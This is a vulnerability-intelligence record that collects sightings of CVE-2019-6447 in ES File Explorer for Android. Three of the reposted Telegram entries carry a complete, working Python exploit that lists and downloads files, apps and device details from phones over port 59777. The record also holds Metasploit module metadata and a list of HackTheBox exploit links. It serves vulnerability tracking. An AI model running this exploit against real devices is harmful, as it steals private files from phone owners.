{"vulnerability": "CVE-2019-6447", "sightings": [{"uuid": "a308d4e5-b734-4e0c-a616-ca73ff519bbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "MISP/5c46110e-2440-446b-b832-1f920a021402", "content": "", "creation_timestamp": "2019-01-21T18:38:24.000000Z"}, {"uuid": "6ba03c83-fe77-49ef-9ec0-dbb0f2428f79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-06T03:13:44.000000Z"}, {"uuid": "fa9a779a-8704-41d2-9008-86019e2e58de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "MISP/a1e796df-2ad8-4c8d-8b69-737a004e72dd", "content": "", "creation_timestamp": "2025-02-23T04:10:17.000000Z"}, {"uuid": "46513e43-cacc-4284-bbd0-536a482ba528", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/es_file_explorer_open_port.rb", "content": "", "creation_timestamp": "2019-03-29T20:54:37.000000Z"}, {"uuid": "4cd0e019-50ed-47e4-a7d6-90c3d12da401", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "https://t.me/arm1tage/129", "content": "HackTheBox:\n\n\u2014Easy Machines\u2014\n\nDriver - WinRM (evil-winrm), printnightmare CVE-2021-1675 (https://habr.com/ru/sandbox/156538/)\nhttps://0xdf.gitlab.io/2022/02/26/htb-driver.html\n\nSecret - JWT, Git source (tig), crush-dumps\nhttps://0xdf.gitlab.io/2022/03/26/htb-secret.html\n\nBackDoor - Wordpress eBook Dir Trav (https://www.exploit-db.com/exploits/39575), gdb exploit (https://www.exploit-db.com/exploits/50539, https://www.rapid7.com/db/modules/exploit/multi/gdb/gdb_server_exec/) \nhttps://0xdf.gitlab.io/2022/04/23/htb-backdoor.html\n\nPrevise - Backup, Site Reverse Shell, low-encrypted passwords\nhttps://0xdf.gitlab.io/2022/01/08/htb-previse.html\n\nBountyHunter - XXE, (root) NOPASSWD python code\nhttps://0xdf.gitlab.io/2021/11/20/htb-bountyhunter.html\n\nHorizontal - Strapi CMS 3.0.0 CVE-2019-18818/CVE-2019-19609 (https://www.exploit-db.com/exploits/50239, https://github.com/diego-tella/CVE-2019-19609-EXPLOIT), Laravel v8 (https://www.exploit-db.com/exploits/49424)\nhttps://0xdf.gitlab.io/2022/02/05/htb-horizontall.html\n\nOptimum - Windows 2012 (https://www.rapid7.com/db/modules/exploit/windows/http/rejetto_hfs_exec/, https://www.rapid7.com/db/modules/exploit/windows/local/ms16_032_secondary_logon_handle_privesc/)\nhttps://0xdf.gitlab.io/2021/03/17/htb-optimum.html\n\nLame - FTP Anonymous, SAMBA exploit (https://github.com/amriunix/CVE-2007-2447)\nhttps://0xdf.gitlab.io/2020/04/07/htb-lame.html\n\nJerry - Tomcat Default Cred, shell via .WAR\nhttps://0xdf.gitlab.io/2018/11/17/htb-jerry.html\n\nBlue - Win7 eternalblue (https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/)\nhttps://0xdf.gitlab.io/2021/05/11/htb-blue.html\n\nDevel - Microsoft IIS httpd 7.5 reverse shell via .ASPX, MS11-046 or ms10_015_kitrap0d (https://github.com/abatchy17/WindowsExploits/tree/master/MS11-046)\nhttps://0xdf.gitlab.io/2019/03/05/htb-devel.html\n\nNetmon - PRTG Network Monitor 18.1.37.13946, Backup credentials, CVE-2018-9276 (https://github.com/A1vinSmith/CVE-2018-9276) / (https://www.exploit-db.com/exploits/46527) + evil-winrm\nhttps://0xdf.gitlab.io/2019/06/29/htb-netmon.html\n\nExplore (Android) - 59777 port CVE-2019-6447 (https://www.exploit-db.com/exploits/50070), SSH Creds on Photo, adb shell\nhttps://0xdf.gitlab.io/2021/10/30/htb-explore.html\n\nAntique - Telnet password via snmpget (https://www.irongeek.com/i.php?page=security/networkprinterhacking#JetDirect%20password%20notes), CUPS 1.6.1 (https://github.com/jpillora/chisel) \nhttps://0xdf.gitlab.io/2022/05/03/htb-antique.html\n\nReturn - evil-winrm, Server Operators in net user svc-printer /domain, sc.exe\nhttps://0xdf.gitlab.io/2022/05/05/htb-return.html\n\nGrandpa - CVE-2017-7269 (https://www.rapid7.com/db/modules/exploit/windows/iis/iis_webdav_scstoragepathfromurl/), SEImpersonalPrivilege Churrasco (https://github.com/Re4son/Churrasco/)\nhttps://0xdf.gitlab.io/2020/05/28/htb-grandpa.html\n\nBeep - ShellShock or Elastix 2.2.0 - 'graph.php' Local File Inclusion, (root) NOPASSWD nmap\nhttps://0xdf.gitlab.io/2021/02/23/htb-beep.html\n\nPandora - snmpwalk creds, CVE-2021-32099, Site Reverse Shell\nhttps://0xdf.gitlab.io/2022/05/21/htb-pandora.html\n\nPaper - WPS 5.2.3 - Cve-2019-17671 (https://www.exploit-db.com/exploits/47690, https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/), Chat Bot Dir Trav, CVE-2021-3560 (https://github.com/Almorabea/Polkit-exploit/blob/main/CVE-2021-3560.py)\nhttps://0xjin.medium.com/paper-hackthebox-write-up-2abca22d3b54\n\n\n#hackthebox #ctf", "creation_timestamp": "2022-06-18T10:22:36.000000Z"}, {"uuid": "c0ce1ce6-0efa-4808-962b-6e668353f7f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "https://t.me/white_hat2/56", "content": "\u062b\u063a\u0631\u0629 \u0641\u064a \u062a\u0637\u0628\u064a\u0642 ES file Explorer \u062a\u0633\u0645\u062d \u0644\u0644\u0645\u062e\u062a\u0631\u0642 \u0627\u0644\u0645\u062a\u0635\u0644 \u0628\u0646\u0641\u0633 \u0645\u0639\u0643 \u0627\u0644\u0634\u0628\u0643\u0629 \u0628\u0627\u0644\u0648\u0635\u0648\u0644 \u0627\u0644\u0649 \u0645\u0644\u0641\u0627\u062a\u0643 \n\u0645\u0639 \u0639\u062f\u062f \u062a\u062d\u0645\u064a\u0644\u0627\u062a \u062a\u062a\u062c\u0627\u0648\u0632 \u0627\u0644100 \u0645\u0644\u064a\u0648\u0646 \u062a\u062d\u0645\u064a\u0644 \u0641\u064a \u0645\u062a\u062c\u0631 \u0628\u0644\u0627\u064a \u0644\u062a\u0637\u0628\u064a\u0642 ES File Explorer\n\u0627\u062d\u062f \u0627\u0634\u0647\u0631 \u062a\u0637\u0628\u064a\u0642\u0627\u062a \u0627\u062f\u0627\u0631\u0629 \u0627\u0644\u0645\u0644\u0641\u0627\u062a \u0644\u0644\u0627\u0646\u062f\u0631\u0648\u064a\u062f \n\u0648\u0627\u0644\u0645\u0641\u0627\u062c\u0623\u0629 \u0647\u064a \u0627\u0646\u0643 \u0627\u0630\u0627 \u0634\u063a\u0644\u062a \u0627\u0644\u062a\u0637\u0628\u064a\u0642 \u0644\u0645\u0631\u0629 \u0648\u0627\u062d\u062f\u0629 \u0639\u0644\u0649 \u0627\u0644\u0627\u0642\u0644 \n\u0627\u064a \u0634\u062e\u0635 \u0645\u062a\u0635\u0644 \u0645\u0639\u0643 \u0628\u0646\u0641\u0633 \u0627\u0644\u0634\u0628\u0643\u0629 \u064a\u0645\u0643\u0646\u0647 \u0627\u0646 \u064a\u0623\u062e\u0630 \u0645\u0644\u0641\u0627\u062a \u0645\u0646 \u062c\u0647\u0627\u0632\u0643 \u062f\u0648\u0646 \u0639\u0644\u0645\u0643\nWith more than 100,000,000 downloads ES File Explorer is one of the most famous #Android file manager.\nThe surprise is: if you opened the app at least once, anyone connected to the same local network can remotely get a file from your phone  \n\n\n\u0631\u0627\u0628\u0637 \u0627\u0644\u0641\u064a\u062f\u064a\u0648\nvideo link\nwww.youtube.com/embed/z6hfgnPNBRE\n\n\n\u0633\u0643\u0631\u0628\u062a \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0628\u0627\u0644\u0648\u0635\u0641\nthe script link is in the description\n\nNow, you can call this vulnerability CVE-2019-6447 \n\u0627\u0644\u062b\u063a\u0631\u0629 \u0627\u0635\u0628\u062d\u062a \u062a\u062d\u062a \u0645\u0633\u0645\u0649 CVE-2019-6447\n\n===================\nProMast3r035\n----------------------------------------\n@PM035 | Virtual]\u2022[Wolrd]\u2022[Kings\n________________________\n@white_hat2 | white hat\n====================", "creation_timestamp": "2019-01-16T16:18:53.000000Z"}, {"uuid": "81e83a91-add6-46d6-a0ba-f00951396325", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "https://t.me/pwnwiki_zhchannel/724", "content": "CVE-2019-6447 ES File Explorer 4.1.9.7.4 \u4efb\u610f\u6587\u4ef6\u5beb\u5165\u6f0f\u6d1e\nhttps://www.pwnwiki.org/index.php?title=CVE-2019-6447_ES_File_Explorer_4.1.9.7.4_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%AF%AB%E5%85%A5%E6%BC%8F%E6%B4%9E", "creation_timestamp": "2021-09-21T04:42:21.000000Z"}, {"uuid": "d243f621-2a40-49e2-a212-9222acb57a80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/396", "content": "#Whitepaper\nCVE-2019-6447:\nAndroid Vulnerability in ES File Explorer\n(ES File Explorer Open Port Vulnerability)\n\n]-> PoC: https://github.com/fs0c131y/ESFileExplorerOpenPortVuln", "creation_timestamp": "2023-09-06T02:40:41.000000Z"}, {"uuid": "ff1cc565-95fa-4fc0-91f6-8d046ef33332", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/156", "content": "#exploit\n1. CVE-2019-6447:\nES File Explorer Open Port Vulnerability\nhttps://github.com/fs0c131y/ESFileExplorerOpenPortVuln\n\n2. CVE-2018-0708:\nCommand injection in networking of QNAP Q'center Virtual Appliance <=1.7.1063 could allow authenticated users to run arbitrary commands\nhttps://github.com/ntkernel0/CVE-2019-0708\n\n3. CVE-2019-0604:\nMicrosoft SharePoint RCE Vulnerability\nhttps://www.zerodayinitiative.com/blog/2019/3/13/cve-2019-0604-details-of-a-microsoft-sharepoint-rce-vulnerability", "creation_timestamp": "2024-10-10T11:12:45.000000Z"}, {"uuid": "dfd0a668-2c13-408f-8c4a-32787f661cec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "content": "", "creation_timestamp": "2026-08-27T12:00:06.841517Z"}, {"uuid": "88a80e43-c7bc-447d-8d2a-0b7883a1a4f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-27T12:00:14.362651Z"}, {"uuid": "623b9059-b3b7-4b60-97b4-69497b913978", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "Telegram/6kr7hIoL88BrLchA92ncvvrRqf7Y35-wLyAsUuKqT9ornHo", "content": "", "creation_timestamp": "2026-07-16T19:00:06.452410Z"}, {"uuid": "09bfc026-81e8-440a-9f3d-a8c5ffbc2699", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "Telegram/6kr7hIoL88BrLchA92ncvvrRqf7Y35-wLyAsUuKqT9ornHo", "content": "", "creation_timestamp": "2026-07-17T00:00:25.242389Z"}, {"uuid": "6dff4346-cd17-4730-8c67-36f7584a64cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "content": "", "creation_timestamp": "2026-08-28T00:00:50.439958Z"}, {"uuid": "823ebfa1-87dd-42fd-b1bf-958299f545f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-28T00:00:57.339945Z"}, {"uuid": "a421dc82-fd27-4196-a4e8-ba6c626490c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "Telegram/ikZnoSctjKS01YLMJM9Qen4V1zyVECG1kRn9n_uoSWF20Fw", "content": "", "creation_timestamp": "2026-08-29T00:00:12.179132Z"}, {"uuid": "7f995e8e-6e9a-484d-b81e-01d1a428e968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "Telegram/mXwJqGjsLNp0LFwWbXU4h3vA714Oj6yIG5AFZePUNxHCgwE", "content": "", "creation_timestamp": "2026-08-29T00:00:29.269928Z"}, {"uuid": "c8c1ae33-9d34-4d1a-9f8e-f11a0ef7ef83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "Telegram/cM227DVyGia-IhCb_dhSNoT4_7lvy6Nz1M7UPQD20JWnO-w", "content": "", "creation_timestamp": "2026-09-02T01:00:05.675126Z"}, {"uuid": "0e3f9081-d7c8-4e48-807a-e7297d0d4e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "https://t.me/hacking_Attack/14737", "content": "Exploit Collector\nES File Explorer 4.1.9.7.4 Arbitrary File Read\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nES File Explorer version 4.1.9.7.4 arbitrary file read exploit.\n\nMD5 | 3c25d5c9cc6d583b07aa0211035656b6\n\nDownload\n# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read\n# Date: 29/06/2021\n# Exploit Author: Nehal Zaman\n# Version: ES File Explorer v4.1.9.7.4\n# Tested on: Android\n# CVE : CVE-2019-6447\n\nimport requests\nimport json\nimport ast\nimport sys\n\nif len(sys.argv) < 3:\nprint(f\"USAGE {sys.argv[0]} <ip[file to download]\")\nsys.exit(1)\n\nurl = 'http://' + sys.argv[2] + ':59777'\ncmd = sys.argv[1]\ncmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']\nlistCmds = cmds[:9]\nif cmd not in cmds:\nprint(\"[-] WRONG COMMAND!\")\nprint(\"Available commands : \")\nprint(\"  listFiles         : List all Files.\")\nprint(\"  listPics          : List all Pictures.\")\nprint(\"  listVideos        : List all videos.\")\nprint(\"  listAudios        : List all audios.\")\nprint(\"  listApps          : List Applications installed.\")\nprint(\"  listAppsSystem    : List System apps.\")\nprint(\"  listAppsPhone     : List Communication related apps.\")\nprint(\"  listAppsSdcard    : List apps on the SDCard.\")\nprint(\"  listAppsAll       : List all Application.\")\nprint(\"  getFile           : Download a file.\")\nprint(\"  getDeviceInfo     : Get device info.\")\nsys.exit(1)\n\nprint(\"\\n==================================================================\")\nprint(\"|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |\")\nprint(\"|                Coded By : Nehal a.k.a PwnerSec                 |\")\nprint(\"==================================================================\\n\")\n\nheader = {\"Content-Type\" : \"application/json\"}\nproxy = {\"http\":\"http://127.0.0.1:8080\", \"https\":\"https://127.0.0.1:8080\"}\n\ndef httpPost(cmd):\ndata = json.dumps({\"command\":cmd})\nresponse = requests.post(url, headers=header, data=data)\nreturn ast.literal_eval(response.text)\n\ndef parse(text, keys):\nfor dic in text:\nfor key in keys:\nprint(f\"{key} : {dic[key]}\")\nprint('')\n\ndef do_listing(cmd):\nresponse = httpPost(cmd)\nif len(response) == 0:\nkeys = []\nelse:\nkeys = list(response[0].keys())\nparse(response, keys)\n\nif cmd in listCmds:\ndo_listing(cmd)\n\nelif cmd == cmds[9]:\nif len(sys.argv) != 4:\nprint(\"[+] Include file name to download.\")\nsys.exit(1)\nelif sys.argv[3][0] != '/':\nprint(\"[-] You need to provide full path of the file.\")\nsys.exit(1)\nelse:\npath = sys.argv[3]\nprint(\"[+] Downloading file...\")\nresponse = requests.get(url + path)\nwith open('out.dat','wb') as wf:\nwf.write(response.content)\nprint(\"[+] Done. Saved as `out.dat`.\")\n\nelif cmd == cmds[10]:\nresponse = httpPost(cmd)\nkeys = list(response.keys())\nfor key in keys:\nprint(f\"{key} : {response[key]}\")\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:34.444725Z"}, {"uuid": "11d5e4c6-7ab0-4bd3-9704-c7c5045d8307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "https://t.me/hacking_Attack/14737", "content": "Exploit Collector\nES File Explorer 4.1.9.7.4 Arbitrary File Read\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nES File Explorer version 4.1.9.7.4 arbitrary file read exploit.\n\nMD5 | 3c25d5c9cc6d583b07aa0211035656b6\n\nDownload\n# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read\n# Date: 29/06/2021\n# Exploit Author: Nehal Zaman\n# Version: ES File Explorer v4.1.9.7.4\n# Tested on: Android\n# CVE : CVE-2019-6447\n\nimport requests\nimport json\nimport ast\nimport sys\n\nif len(sys.argv) < 3:\nprint(f\"USAGE {sys.argv[0]} <ip[file to download]\")\nsys.exit(1)\n\nurl = 'http://' + sys.argv[2] + ':59777'\ncmd = sys.argv[1]\ncmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']\nlistCmds = cmds[:9]\nif cmd not in cmds:\nprint(\"[-] WRONG COMMAND!\")\nprint(\"Available commands : \")\nprint(\"  listFiles         : List all Files.\")\nprint(\"  listPics          : List all Pictures.\")\nprint(\"  listVideos        : List all videos.\")\nprint(\"  listAudios        : List all audios.\")\nprint(\"  listApps          : List Applications installed.\")\nprint(\"  listAppsSystem    : List System apps.\")\nprint(\"  listAppsPhone     : List Communication related apps.\")\nprint(\"  listAppsSdcard    : List apps on the SDCard.\")\nprint(\"  listAppsAll       : List all Application.\")\nprint(\"  getFile           : Download a file.\")\nprint(\"  getDeviceInfo     : Get device info.\")\nsys.exit(1)\n\nprint(\"\\n==================================================================\")\nprint(\"|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |\")\nprint(\"|                Coded By : Nehal a.k.a PwnerSec                 |\")\nprint(\"==================================================================\\n\")\n\nheader = {\"Content-Type\" : \"application/json\"}\nproxy = {\"http\":\"http://127.0.0.1:8080\", \"https\":\"https://127.0.0.1:8080\"}\n\ndef httpPost(cmd):\ndata = json.dumps({\"command\":cmd})\nresponse = requests.post(url, headers=header, data=data)\nreturn ast.literal_eval(response.text)\n\ndef parse(text, keys):\nfor dic in text:\nfor key in keys:\nprint(f\"{key} : {dic[key]}\")\nprint('')\n\ndef do_listing(cmd):\nresponse = httpPost(cmd)\nif len(response) == 0:\nkeys = []\nelse:\nkeys = list(response[0].keys())\nparse(response, keys)\n\nif cmd in listCmds:\ndo_listing(cmd)\n\nelif cmd == cmds[9]:\nif len(sys.argv) != 4:\nprint(\"[+] Include file name to download.\")\nsys.exit(1)\nelif sys.argv[3][0] != '/':\nprint(\"[-] You need to provide full path of the file.\")\nsys.exit(1)\nelse:\npath = sys.argv[3]\nprint(\"[+] Downloading file...\")\nresponse = requests.get(url + path)\nwith open('out.dat','wb') as wf:\nwf.write(response.content)\nprint(\"[+] Done. Saved as `out.dat`.\")\n\nelif cmd == cmds[10]:\nresponse = httpPost(cmd)\nkeys = list(response.keys())\nfor key in keys:\nprint(f\"{key} : {response[key]}\")\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:09.127779Z"}, {"uuid": "49f708f8-ceb2-46bc-bb24-dcc9486dc70e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "Telegram/cM227DVyGia-IhCb_dhSNoT4_7lvy6Nz1M7UPQD20JWnO-w", "content": "", "creation_timestamp": "2026-09-03T00:00:59.209725Z"}, {"uuid": "fa0b018d-0d62-4a49-957d-3a7a9fbaf3a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/14737", "content": "Exploit Collector\nES File Explorer 4.1.9.7.4 Arbitrary File Read\n\nhttps://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png \nES File Explorer version 4.1.9.7.4 arbitrary file read exploit.\n\nMD5 | 3c25d5c9cc6d583b07aa0211035656b6\n\nDownload\n# Exploit Title: ES File Explorer 4.1.9.7.4 - Arbitrary File Read\n# Date: 29/06/2021\n# Exploit Author: Nehal Zaman\n# Version: ES File Explorer v4.1.9.7.4\n# Tested on: Android\n# CVE : CVE-2019-6447\n\nimport requests\nimport json\nimport ast\nimport sys\n\nif len(sys.argv) < 3:\nprint(f\"USAGE {sys.argv[0]} <ip[file to download]\")\nsys.exit(1)\n\nurl = 'http://' + sys.argv[2] + ':59777'\ncmd = sys.argv[1]\ncmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']\nlistCmds = cmds[:9]\nif cmd not in cmds:\nprint(\"[-] WRONG COMMAND!\")\nprint(\"Available commands : \")\nprint(\"  listFiles         : List all Files.\")\nprint(\"  listPics          : List all Pictures.\")\nprint(\"  listVideos        : List all videos.\")\nprint(\"  listAudios        : List all audios.\")\nprint(\"  listApps          : List Applications installed.\")\nprint(\"  listAppsSystem    : List System apps.\")\nprint(\"  listAppsPhone     : List Communication related apps.\")\nprint(\"  listAppsSdcard    : List apps on the SDCard.\")\nprint(\"  listAppsAll       : List all Application.\")\nprint(\"  getFile           : Download a file.\")\nprint(\"  getDeviceInfo     : Get device info.\")\nsys.exit(1)\n\nprint(\"\\n==================================================================\")\nprint(\"|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |\")\nprint(\"|                Coded By : Nehal a.k.a PwnerSec                 |\")\nprint(\"==================================================================\\n\")\n\nheader = {\"Content-Type\" : \"application/json\"}\nproxy = {\"http\":\"http://127.0.0.1:8080\", \"https\":\"https://127.0.0.1:8080\"}\n\ndef httpPost(cmd):\ndata = json.dumps({\"command\":cmd})\nresponse = requests.post(url, headers=header, data=data)\nreturn ast.literal_eval(response.text)\n\ndef parse(text, keys):\nfor dic in text:\nfor key in keys:\nprint(f\"{key} : {dic[key]}\")\nprint('')\n\ndef do_listing(cmd):\nresponse = httpPost(cmd)\nif len(response) == 0:\nkeys = []\nelse:\nkeys = list(response[0].keys())\nparse(response, keys)\n\nif cmd in listCmds:\ndo_listing(cmd)\n\nelif cmd == cmds[9]:\nif len(sys.argv) != 4:\nprint(\"[+] Include file name to download.\")\nsys.exit(1)\nelif sys.argv[3][0] != '/':\nprint(\"[-] You need to provide full path of the file.\")\nsys.exit(1)\nelse:\npath = sys.argv[3]\nprint(\"[+] Downloading file...\")\nresponse = requests.get(url + path)\nwith open('out.dat','wb') as wf:\nwf.write(response.content)\nprint(\"[+] Done. Saved as `out.dat`.\")\n\nelif cmd == cmds[10]:\nresponse = httpPost(cmd)\nkeys = list(response.keys())\nfor key in keys:\nprint(f\"{key} : {response[key]}\")\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T01:00:04.092659Z"}, {"uuid": "43fb2394-6619-4de0-9786-2b7f32fa30fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/scanner/http/es_file_explorer_open_port.rb", "content": "{\"actions\": [{\"description\": \"Launch an app. ACTIONITEM required.\", \"name\": \"APPLAUNCH\"}, {\"description\": \"Get device info\", \"name\": \"GETDEVICEINFO\"}, {\"description\": \"Get a file from the device. ACTIONITEM required.\", \"name\": \"GETFILE\"}, {\"description\": \"List all the apps installed\", \"name\": \"LISTAPPS\"}, {\"description\": \"List all the apps installed\", \"name\": \"LISTAPPSALL\"}, {\"description\": \"List all the phone apps installed\", \"name\": \"LISTAPPSPHONE\"}, {\"description\": \"List all the apk files stored on the sdcard\", \"name\": \"LISTAPPSSDCARD\"}, {\"description\": \"List all the system apps installed\", \"name\": \"LISTAPPSSYSTEM\"}, {\"description\": \"List all the audio files\", \"name\": \"LISTAUDIOS\"}, {\"description\": \"List all the files on the sdcard\", \"name\": \"LISTFILES\"}, {\"description\": \"List all the pictures\", \"name\": \"LISTPICS\"}, {\"description\": \"List all the videos\", \"name\": \"LISTVIDEOS\"}], \"aliases\": [], \"arch\": \"\", \"author\": [\"\\u5c0f\\u8377\\u624d\\u9732\\u5c16\\u5c16\\u89d2\", \"moonbocal\", \"fs0c131y\", \"h00die\"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"This module connects to ES File Explorer's HTTP server to run\\n        certain commands. The HTTP server is started on app launch, and is available\\n        as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable\\n        This module has been tested against 4.1.9.5.1.\", \"disclosure_date\": \"2019-01-16\", \"fullname\": \"auxiliary/scanner/http/es_file_explorer_open_port\", \"is_install_path\": true, \"mod_time\": \"2026-06-17 11:11:50 +0000\", \"name\": \"ES File Explorer Open Port\", \"needs_cleanup\": false, \"notes\": {}, \"path\": \"/modules/auxiliary/scanner/http/es_file_explorer_open_port.rb\", \"platform\": \"\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"scanner/http/es_file_explorer_open_port\", \"references\": [\"CVE-2019-6447\", \"URL-https://www.ms509.com/2016/03/01/es-explorer-vul/\", \"URL-https://github.com/fs0c131y/ESFileExplorerOpenPortVuln\", \"URL-https://twitter.com/fs0c131y/status/1085460755313508352\"], \"rport\": 59777, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:47:31.842401Z"}, {"uuid": "1ec42384-f7ab-4d3b-9bae-7527d3ce4f74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-6447", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/14737", "content": "Exploit Collector\nES File Explorer 4.1.9.7.4 Arbitrary File 